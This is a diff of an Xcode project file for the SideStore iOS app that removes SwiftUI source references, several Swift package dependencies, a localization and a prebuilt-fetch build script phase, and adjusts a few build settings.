@@ -1954,9 +1635,9 @@
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
BF44EEF2246B3A17002A52F2 /* AltBackup.ipa */,
|
||||
BFB1169C22932DB100BB457C /* apps.json */,
|
||||
BFD247762284B9A700981D42 /* Assets.xcassets */,
|
||||
BF770E6822BD57DD002A40FE /* Silence.m4a */,
|
||||
1F07F552295455A300F7BE95 /* Localizable.strings */,
|
||||
);
|
||||
path = Resources;
|
||||
sourceTree = "<group>";
|
||||
@@ -1980,9 +1661,6 @@
|
||||
BFE00A1F2503097F00EB4D0C /* INInteraction+AltStore.swift */,
|
||||
D57F2C9326E01BC700B9FA39 /* UIDevice+Vibration.swift */,
|
||||
B376FE3D29258C8900E18883 /* OSLog+SideStore.swift */,
|
||||
1F66F5BD2938F06100A910CA /* StoreApp+Filterable.swift */,
|
||||
1F180F91298E7A1B00D1C98B /* StoreApp+Trusted.swift */,
|
||||
1F180F93298E7A2500D1C98B /* Source+Trusted.swift */,
|
||||
);
|
||||
path = Extensions;
|
||||
sourceTree = "<group>";
|
||||
@@ -2114,6 +1792,13 @@
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXHeadersBuildPhase section */
|
||||
191E5FD4290A6EE0001A3B7C /* Headers */ = {
|
||||
isa = PBXHeadersBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
BF4587272298D31600BD7491 /* Headers */ = {
|
||||
isa = PBXHeadersBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
@@ -2194,6 +1879,7 @@
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 191E5FAF290A5D92001A3B7C /* Build configuration list for PBXNativeTarget "minimuxer" */;
|
||||
buildPhases = (
|
||||
191E5FD4290A6EE0001A3B7C /* Headers */,
|
||||
191E5FA7290A5D92001A3B7C /* Sources */,
|
||||
191E5FA8290A5D92001A3B7C /* Frameworks */,
|
||||
);
|
||||
@@ -2282,7 +1968,6 @@
|
||||
B3C395F0284F2DE700DA9E2F /* KeychainAccess */,
|
||||
4879A95E2861046500FC1BBD /* AltSign */,
|
||||
99C4EF4C2979132100CB538D /* SemanticVersion */,
|
||||
1F07F5682955D3EC00F7BE95 /* SFSafeSymbols */,
|
||||
);
|
||||
productName = AltStoreCore;
|
||||
productReference = BF66EE7E2501AE50007EE018 /* AltStoreCore.framework */;
|
||||
@@ -2310,7 +1995,6 @@
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = BFD2477E2284B9A700981D42 /* Build configuration list for PBXNativeTarget "SideStore" */;
|
||||
buildPhases = (
|
||||
99F87D0629D8B51400B40039 /* ShellScript */,
|
||||
BFD247662284B9A500981D42 /* Sources */,
|
||||
BFD247672284B9A500981D42 /* Frameworks */,
|
||||
BFD247682284B9A500981D42 /* Resources */,
|
||||
@@ -2332,12 +2016,6 @@
|
||||
B3C395F6284F362400DA9E2F /* AppCenterAnalytics */,
|
||||
B3C395F8284F362400DA9E2F /* AppCenterCrashes */,
|
||||
4879A9612861049C00FC1BBD /* OpenSSL */,
|
||||
9922FFEB29B501C50020F868 /* Starscream */,
|
||||
1F74FF1D295263510047C051 /* AsyncImage */,
|
||||
1F07F5662955D16A00F7BE95 /* SFSafeSymbols */,
|
||||
1F1295802989B51F0048FCB9 /* ExpandableText */,
|
||||
1FFA56C42999978C0011B6F5 /* LocalConsole */,
|
||||
1FF8C61A2A1782F10041352C /* Reachability */,
|
||||
);
|
||||
productName = AltStore;
|
||||
productReference = BFD2476A2284B9A500981D42 /* SideStore.app */;
|
||||
@@ -2349,7 +2027,7 @@
|
||||
BFD247622284B9A500981D42 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastSwiftUpdateCheck = 1410;
|
||||
LastSwiftUpdateCheck = 1400;
|
||||
LastUpgradeCheck = 1020;
|
||||
ORGANIZATIONNAME = SideStore;
|
||||
TargetAttributes = {
|
||||
@@ -2397,7 +2075,6 @@
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
"es-419",
|
||||
);
|
||||
mainGroup = BFD247612284B9A500981D42;
|
||||
packageReferences = (
|
||||
@@ -2410,12 +2087,6 @@
|
||||
4879A95D2861046500FC1BBD /* XCRemoteSwiftPackageReference "AltSign" */,
|
||||
4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */,
|
||||
99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */,
|
||||
9922FFEA29B501C50020F868 /* XCRemoteSwiftPackageReference "Starscream" */,
|
||||
1F74FF1C295263510047C051 /* XCRemoteSwiftPackageReference "AsyncImage" */,
|
||||
1F07F5652955D16A00F7BE95 /* XCRemoteSwiftPackageReference "SFSafeSymbols" */,
|
||||
1F12957F2989B51F0048FCB9 /* XCRemoteSwiftPackageReference "ExpandableText" */,
|
||||
1FFA56C32999978C0011B6F5 /* XCRemoteSwiftPackageReference "LocalConsole" */,
|
||||
1FF8C6192A1782F10041352C /* XCRemoteSwiftPackageReference "Reachability" */,
|
||||
);
|
||||
productRefGroup = BFD2476B2284B9A500981D42 /* Products */;
|
||||
projectDirPath = "";
|
||||
@@ -2554,7 +2225,6 @@
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
1F07F550295455A300F7BE95 /* Localizable.strings in Resources */,
|
||||
BFC57A702416FC7600EB891E /* InstalledAppsCollectionHeaderView.xib in Resources */,
|
||||
BFB4323F22DE852000B7F8BC /* UpdateCollectionViewCell.xib in Resources */,
|
||||
BFE60738231ADF49002B0E8E /* Settings.storyboard in Resources */,
|
||||
@@ -2576,27 +2246,6 @@
|
||||
};
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
99F87D0629D8B51400B40039 /* ShellScript */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
"./Dependencies/minimuxer/minimuxer-helpers.swift",
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "bash ./Dependencies/fetch-prebuilt.sh minimuxer\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
19104DAE2909C06C00C49C7B /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
@@ -2610,8 +2259,7 @@
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
99F87D1929D8E4C900B40039 /* minimuxer.swift in Sources */,
|
||||
99F87D1829D8E4C900B40039 /* SwiftBridgeCore.swift in Sources */,
|
||||
191E5FAE290A5D92001A3B7C /* minimuxer.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -2807,82 +2455,48 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
BFDB6A0F22AB2776007EA6D6 /* SendAppOperation.swift in Sources */,
|
||||
1F6E08E029280B12005059C0 /* SafariView.swift in Sources */,
|
||||
1F943C6C2927F90400ABE095 /* SettingsView.swift in Sources */,
|
||||
BFDB6A0D22AAFC1A007EA6D6 /* OperationError.swift in Sources */,
|
||||
BF74989B23621C0700CED65F /* ForwardingNavigationController.swift in Sources */,
|
||||
1F66F5C02938F07C00A910CA /* Filterable.swift in Sources */,
|
||||
BF3D649D22E7AC1B00E9056B /* PermissionPopoverViewController.swift in Sources */,
|
||||
D57F2C9426E01BC700B9FA39 /* UIDevice+Vibration.swift in Sources */,
|
||||
1F07F556295458D800F7BE95 /* Assets.swift in Sources */,
|
||||
BFD2478F2284C8F900981D42 /* Button.swift in Sources */,
|
||||
1F943C6F2927F90400ABE095 /* NewsView.swift in Sources */,
|
||||
BF56D2AC23DF8E170006506D /* FetchAppIDsOperation.swift in Sources */,
|
||||
BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */,
|
||||
1F6E08DA292806E0005059C0 /* AppRowView.swift in Sources */,
|
||||
1FB96FC3292A6D7E007E68D1 /* DateFormatterHelper.swift in Sources */,
|
||||
1F545E87298D86D800589F68 /* ModalNavigationLink.swift in Sources */,
|
||||
1F943C6D2927F90400ABE095 /* NewsViewModel.swift in Sources */,
|
||||
1FB96FF3292D0539007E68D1 /* PillButtonProgressViewStyle.swift in Sources */,
|
||||
1F6E08E829282174005059C0 /* ConfirmAddSourceView.swift in Sources */,
|
||||
1F180F92298E7A1B00D1C98B /* StoreApp+Trusted.swift in Sources */,
|
||||
1F6284D929523D340060AAD8 /* SideloadingManager.swift in Sources */,
|
||||
BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */,
|
||||
1F943C6A2927F8F700ABE095 /* ViewModel.swift in Sources */,
|
||||
1F0DD8432936B0F9007608A4 /* RoundedTextField.swift in Sources */,
|
||||
D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */,
|
||||
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */,
|
||||
BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */,
|
||||
1FB96FC7292A853D007E68D1 /* SourcesView.swift in Sources */,
|
||||
1F66F5BE2938F06100A910CA /* StoreApp+Filterable.swift in Sources */,
|
||||
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */,
|
||||
D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */,
|
||||
BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */,
|
||||
D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */,
|
||||
BFB6B21E231870160022A802 /* NewsViewController.swift in Sources */,
|
||||
BFC57A652416C72400EB891E /* DeactivateAppOperation.swift in Sources */,
|
||||
1F943C712927F90400ABE095 /* MyAppsView.swift in Sources */,
|
||||
1FA1C8CA294906890083119D /* MyAppsViewModel.swift in Sources */,
|
||||
1F981B1529AA1E070014950E /* AppIconsShowcase.swift in Sources */,
|
||||
BF3BEFC124086A1E00DE7D55 /* RefreshAppOperation.swift in Sources */,
|
||||
1FFEF104298552DB0098374C /* AppVersionHistoryView.swift in Sources */,
|
||||
BFE60740231AFD2A002B0E8E /* InsetGroupTableViewCell.swift in Sources */,
|
||||
BF0DCA662433BDF500E3A595 /* AnalyticsManager.swift in Sources */,
|
||||
BFCCB51A245E3401001853EA /* VerifyAppOperation.swift in Sources */,
|
||||
BFF0B6982322CAB8007A79E1 /* InstructionsViewController.swift in Sources */,
|
||||
BF9ABA4522DCFF43008935CF /* BrowseViewController.swift in Sources */,
|
||||
BF770E5422BC044E002A40FE /* OperationContexts.swift in Sources */,
|
||||
1F0DD84129368056007608A4 /* EnvironmentValues.swift in Sources */,
|
||||
BFD2478C2284C4C300981D42 /* AppIconImageView.swift in Sources */,
|
||||
BF8F69C422E662D300049BA1 /* AppViewController.swift in Sources */,
|
||||
BFF0B68E23219520007A79E1 /* PatreonViewController.swift in Sources */,
|
||||
BFF00D302501BD7D00746320 /* Intents.intentdefinition in Sources */,
|
||||
BF6C336224197D700034FD24 /* NSError+AltStore.swift in Sources */,
|
||||
D5DAE0942804B0B80034D8D4 /* ScreenshotProcessor.swift in Sources */,
|
||||
1FB96FBE292A20E5007E68D1 /* ObservableScrollView.swift in Sources */,
|
||||
BFD2476E2284B9A500981D42 /* AppDelegate.swift in Sources */,
|
||||
1FFA56C2299994390011B6F5 /* OutputCapturer.swift in Sources */,
|
||||
BF41B806233423AE00C593A3 /* TabBarController.swift in Sources */,
|
||||
1FB96FC9292ABDD0007E68D1 /* AddSourceView.swift in Sources */,
|
||||
1F6E08DC292807D3005059C0 /* AppIconView.swift in Sources */,
|
||||
1F6284D5295209DA0060AAD8 /* AppAction.swift in Sources */,
|
||||
BFE00A202503097F00EB4D0C /* INInteraction+AltStore.swift in Sources */,
|
||||
BFDB6A0B22AAEDB7007EA6D6 /* Operation.swift in Sources */,
|
||||
1FB96FEC292C171D007E68D1 /* NotificationManager.swift in Sources */,
|
||||
BF770E6722BD57C4002A40FE /* BackgroundTaskManager.swift in Sources */,
|
||||
1F07F56B2955F11500F7BE95 /* AppScreenshotsPreview.swift in Sources */,
|
||||
1F981B1329AA101F0014950E /* OnboardingStepView.swift in Sources */,
|
||||
BF44EEFC246B4550002A52F2 /* RemoveAppOperation.swift in Sources */,
|
||||
BF3D64B022E8D4B800E9056B /* AppContentViewControllerCells.swift in Sources */,
|
||||
1F981B1729AA34A70014950E /* AppStoreProductView.swift in Sources */,
|
||||
BFC57A6E2416FC5D00EB891E /* InstalledAppsCollectionHeaderView.swift in Sources */,
|
||||
B3EE16B62925E27D00B3B1F5 /* AnisetteManager.swift in Sources */,
|
||||
1FF8C6182A1780C60041352C /* ActivityView.swift in Sources */,
|
||||
1F943C6E2927F90400ABE095 /* NewsItemView.swift in Sources */,
|
||||
BF88F97224F8727D00BB75DF /* AppManagerErrors.swift in Sources */,
|
||||
B39F16152918D7DA002E9404 /* Consts+Proxy.swift in Sources */,
|
||||
1F6E08E629280F4B005059C0 /* RatingStars.swift in Sources */,
|
||||
1F07F557295458D800F7BE95 /* Localizations.swift in Sources */,
|
||||
BF6C8FAE2429597900125131 /* BannerCollectionViewCell.swift in Sources */,
|
||||
1FB96FC0292A63F2007E68D1 /* AppPillButton.swift in Sources */,
|
||||
BF6F439223644C6E00A0B879 /* RefreshAltStoreViewController.swift in Sources */,
|
||||
BFE60742231B07E6002B0E8E /* SettingsHeaderFooterView.swift in Sources */,
|
||||
BFE338E822F10E56002E24B9 /* LaunchViewController.swift in Sources */,
|
||||
@@ -2893,50 +2507,32 @@
|
||||
BFF0B69A2322D7D0007A79E1 /* UIScreen+CompactHeight.swift in Sources */,
|
||||
D5F2F6A92720B7C20081CCF5 /* PatchViewController.swift in Sources */,
|
||||
B39F16132918D7C5002E9404 /* Consts.swift in Sources */,
|
||||
1F0DD8212933B749007608A4 /* AppPermissionsGrid.swift in Sources */,
|
||||
1F545E83298D79E400589F68 /* ErrorLogView.swift in Sources */,
|
||||
1F0DD8452936B3FE007608A4 /* FilledButtonStyle.swift in Sources */,
|
||||
BF8F69C222E659F700049BA1 /* AppContentViewController.swift in Sources */,
|
||||
BF08858522DE7EC800DE9F1E /* UpdateCollectionViewCell.swift in Sources */,
|
||||
BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */,
|
||||
BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */,
|
||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */,
|
||||
99F87D0529D8B4E200B40039 /* minimuxer-helpers.swift in Sources */,
|
||||
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */,
|
||||
BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */,
|
||||
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */,
|
||||
BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */,
|
||||
BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */,
|
||||
B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */,
|
||||
BF08858322DE795100DE9F1E /* MyAppsViewController.swift in Sources */,
|
||||
1F943C6B2927F8F700ABE095 /* NavigationTab.swift in Sources */,
|
||||
BFC84A4D2421A19100853474 /* SourcesViewController.swift in Sources */,
|
||||
BFF0B696232242D3007A79E1 /* LicensesViewController.swift in Sources */,
|
||||
D57FE84428C7DB7100216002 /* ErrorLogViewController.swift in Sources */,
|
||||
1F44634529744E570070E514 /* HintView.swift in Sources */,
|
||||
1F6E08E429280D1E005059C0 /* PillButtonStyle.swift in Sources */,
|
||||
1F6284D7295218980060AAD8 /* DocumentPicker.swift in Sources */,
|
||||
BFBE0007250AD0E70080826E /* ViewAppIntentHandler.swift in Sources */,
|
||||
1F0DD83F29367F6C007608A4 /* ConnectAppleIDView.swift in Sources */,
|
||||
1F07F56F2955FB2000F7BE95 /* AppIDsView.swift in Sources */,
|
||||
BFDB6A0822AAED73007EA6D6 /* ResignAppOperation.swift in Sources */,
|
||||
D593F1942717749A006E82DE /* PatchAppOperation.swift in Sources */,
|
||||
BF770E5122BB1CF6002A40FE /* InstallAppOperation.swift in Sources */,
|
||||
BF9ABA4B22DD1380008935CF /* NavigationBar.swift in Sources */,
|
||||
BF6C8FAC242935ED00125131 /* NSAttributedString+Markdown.m in Sources */,
|
||||
BFF00D322501BDA100746320 /* BackgroundRefreshAppsOperation.swift in Sources */,
|
||||
1F1D669E29A234CE0095BFCD /* WriteAppReviewView.swift in Sources */,
|
||||
1F66F5BC2938F03700A910CA /* Modifiers.swift in Sources */,
|
||||
1FA5A6CA298E8B2F007BA946 /* RefreshAttemptsView.swift in Sources */,
|
||||
1F5DF9D82974426300DDAA47 /* AppScreenshot.swift in Sources */,
|
||||
1F66F5BA2938CA5700A910CA /* VisualEffectView.swift in Sources */,
|
||||
BF0C4EBD22A1BD8B009A2DD7 /* AppManager.swift in Sources */,
|
||||
1F180F94298E7A2500D1C98B /* Source+Trusted.swift in Sources */,
|
||||
BF2901312318F7A800D88A45 /* AppBannerView.swift in Sources */,
|
||||
BFF00D342501BDCF00746320 /* IntentHandler.swift in Sources */,
|
||||
1F0DD81C2932D2FF007608A4 /* AppScreenshotsScrollView.swift in Sources */,
|
||||
BFDBBD80246CB84F004ED2F3 /* RemoveAppBackupOperation.swift in Sources */,
|
||||
1F545E85298D84CF00589F68 /* FilePreviewView.swift in Sources */,
|
||||
1FB96FCF292BBBCA007E68D1 /* SiriShortcutSetupView.swift in Sources */,
|
||||
1F2EF787297C4D40002FD839 /* LicensesView.swift in Sources */,
|
||||
BFF0B6942321CB85007A79E1 /* AuthenticationViewController.swift in Sources */,
|
||||
BF3432FB246B894F0052F4A1 /* BackupAppOperation.swift in Sources */,
|
||||
BF9ABA4922DD0742008935CF /* ScreenshotCollectionViewCell.swift in Sources */,
|
||||
@@ -2947,16 +2543,10 @@
|
||||
BF4B78FE24B3D1DB008AB4AC /* SceneDelegate.swift in Sources */,
|
||||
BF6C8FB02429599900125131 /* TextCollectionReusableView.swift in Sources */,
|
||||
BF663C4F2433ED8200DAA738 /* FileManager+DirectorySize.swift in Sources */,
|
||||
1F943C702927F90400ABE095 /* BrowseView.swift in Sources */,
|
||||
1F981B1129AA0FAE0014950E /* OnboardingView.swift in Sources */,
|
||||
1F943C692927F8F200ABE095 /* RootView.swift in Sources */,
|
||||
1FB84BA62928DE08006A5CF4 /* AppDetailView.swift in Sources */,
|
||||
D57DF63F271E51E400677701 /* ALTAppPatcher.m in Sources */,
|
||||
BFB6B220231870B00022A802 /* NewsCollectionViewCell.swift in Sources */,
|
||||
1FA5A6CC298E8FE4007BA946 /* MailComposeView.swift in Sources */,
|
||||
BF3BEFBF2408673400DE7D55 /* FetchProvisioningProfilesOperation.swift in Sources */,
|
||||
BFF0B69023219C6D007A79E1 /* PatreonComponents.swift in Sources */,
|
||||
1FB96FC5292A7251007E68D1 /* BrowseAppPreviewView.swift in Sources */,
|
||||
BFBE0004250ACFFB0080826E /* ViewApp.intentdefinition in Sources */,
|
||||
BF56D2AF23DF9E310006506D /* AppIDsViewController.swift in Sources */,
|
||||
);
|
||||
@@ -3016,15 +2606,6 @@
|
||||
/* End PBXTargetDependency section */
|
||||
|
||||
/* Begin PBXVariantGroup section */
|
||||
1F07F552295455A300F7BE95 /* Localizable.strings */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
1F07F551295455A300F7BE95 /* en */,
|
||||
DFEE02F82957998D00518C34 /* es-419 */,
|
||||
);
|
||||
name = Localizable.strings;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
BF580488246A28F9008AE704 /* LaunchScreen.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
@@ -3122,7 +2703,7 @@
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SKIP_INSTALL = YES;
|
||||
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Dependencies/minimuxer/minimuxer-Bridging-Header.h";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = Dependencies/minimuxer/minimuxer.h;
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
@@ -3144,7 +2725,7 @@
|
||||
OTHER_LDFLAGS = "-ObjC";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SKIP_INSTALL = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "Dependencies/minimuxer/minimuxer-Bridging-Header.h";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = Dependencies/minimuxer/minimuxer.h;
|
||||
SWIFT_VERSION = 5.0;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
@@ -3444,7 +3025,7 @@
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
@@ -3474,7 +3055,7 @@
|
||||
CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
@@ -3496,7 +3077,6 @@
|
||||
baseConfigurationReference = B3C39607284F4C8400DA9E2F /* Build.xcconfig */;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
@@ -3565,7 +3145,6 @@
|
||||
baseConfigurationReference = B3C39607284F4C8400DA9E2F /* Build.xcconfig */;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
@@ -3630,7 +3209,6 @@
|
||||
buildSettings = {
|
||||
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = AltStore/AltStore.entitlements;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
@@ -3665,7 +3243,6 @@
|
||||
buildSettings = {
|
||||
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = AltStore/AltStore.entitlements;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
@@ -3780,46 +3357,6 @@
|
||||
/* End XCConfigurationList section */
|
||||
|
||||
/* Begin XCRemoteSwiftPackageReference section */
|
||||
1F07F5652955D16A00F7BE95 /* XCRemoteSwiftPackageReference "SFSafeSymbols" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/SFSafeSymbols/SFSafeSymbols";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 4.0.0;
|
||||
};
|
||||
};
|
||||
1F12957F2989B51F0048FCB9 /* XCRemoteSwiftPackageReference "ExpandableText" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/fabianthdev/ExpandableText";
|
||||
requirement = {
|
||||
branch = main;
|
||||
kind = branch;
|
||||
};
|
||||
};
|
||||
1F74FF1C295263510047C051 /* XCRemoteSwiftPackageReference "AsyncImage" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/fabianthdev/AsyncImage";
|
||||
requirement = {
|
||||
branch = main;
|
||||
kind = branch;
|
||||
};
|
||||
};
|
||||
1FF8C6192A1782F10041352C /* XCRemoteSwiftPackageReference "Reachability" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/ashleymills/Reachability.swift";
|
||||
requirement = {
|
||||
branch = master;
|
||||
kind = branch;
|
||||
};
|
||||
};
|
||||
1FFA56C32999978C0011B6F5 /* XCRemoteSwiftPackageReference "LocalConsole" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/duraidabdul/LocalConsole.git";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 1.0.0;
|
||||
};
|
||||
};
|
||||
4879A95D2861046500FC1BBD /* XCRemoteSwiftPackageReference "AltSign" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/SideStore/AltSign";
|
||||
@@ -3836,14 +3373,6 @@
|
||||
minimumVersion = 1.1.180;
|
||||
};
|
||||
};
|
||||
9922FFEA29B501C50020F868 /* XCRemoteSwiftPackageReference "Starscream" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/daltoniam/Starscream.git";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 4.0.0;
|
||||
};
|
||||
};
|
||||
99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/SwiftPackageIndex/SemanticVersion.git";
|
||||
@@ -3913,36 +3442,6 @@
|
||||
package = 4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */;
|
||||
productName = OpenSSL;
|
||||
};
|
||||
1F07F5662955D16A00F7BE95 /* SFSafeSymbols */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1F07F5652955D16A00F7BE95 /* XCRemoteSwiftPackageReference "SFSafeSymbols" */;
|
||||
productName = SFSafeSymbols;
|
||||
};
|
||||
1F07F5682955D3EC00F7BE95 /* SFSafeSymbols */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1F07F5652955D16A00F7BE95 /* XCRemoteSwiftPackageReference "SFSafeSymbols" */;
|
||||
productName = SFSafeSymbols;
|
||||
};
|
||||
1F1295802989B51F0048FCB9 /* ExpandableText */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1F12957F2989B51F0048FCB9 /* XCRemoteSwiftPackageReference "ExpandableText" */;
|
||||
productName = ExpandableText;
|
||||
};
|
||||
1F74FF1D295263510047C051 /* AsyncImage */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1F74FF1C295263510047C051 /* XCRemoteSwiftPackageReference "AsyncImage" */;
|
||||
productName = AsyncImage;
|
||||
};
|
||||
1FF8C61A2A1782F10041352C /* Reachability */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1FF8C6192A1782F10041352C /* XCRemoteSwiftPackageReference "Reachability" */;
|
||||
productName = Reachability;
|
||||
};
|
||||
1FFA56C42999978C0011B6F5 /* LocalConsole */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 1FFA56C32999978C0011B6F5 /* XCRemoteSwiftPackageReference "LocalConsole" */;
|
||||
productName = LocalConsole;
|
||||
};
|
||||
4879A95E2861046500FC1BBD /* AltSign */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 4879A95D2861046500FC1BBD /* XCRemoteSwiftPackageReference "AltSign" */;
|
||||
@@ -3953,11 +3452,6 @@
|
||||
package = 4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */;
|
||||
productName = OpenSSL;
|
||||
};
|
||||
9922FFEB29B501C50020F868 /* Starscream */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 9922FFEA29B501C50020F868 /* XCRemoteSwiftPackageReference "Starscream" */;
|
||||
productName = Starscream;
|
||||
};
|
||||
99C4EF4C2979132100CB538D /* SemanticVersion */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
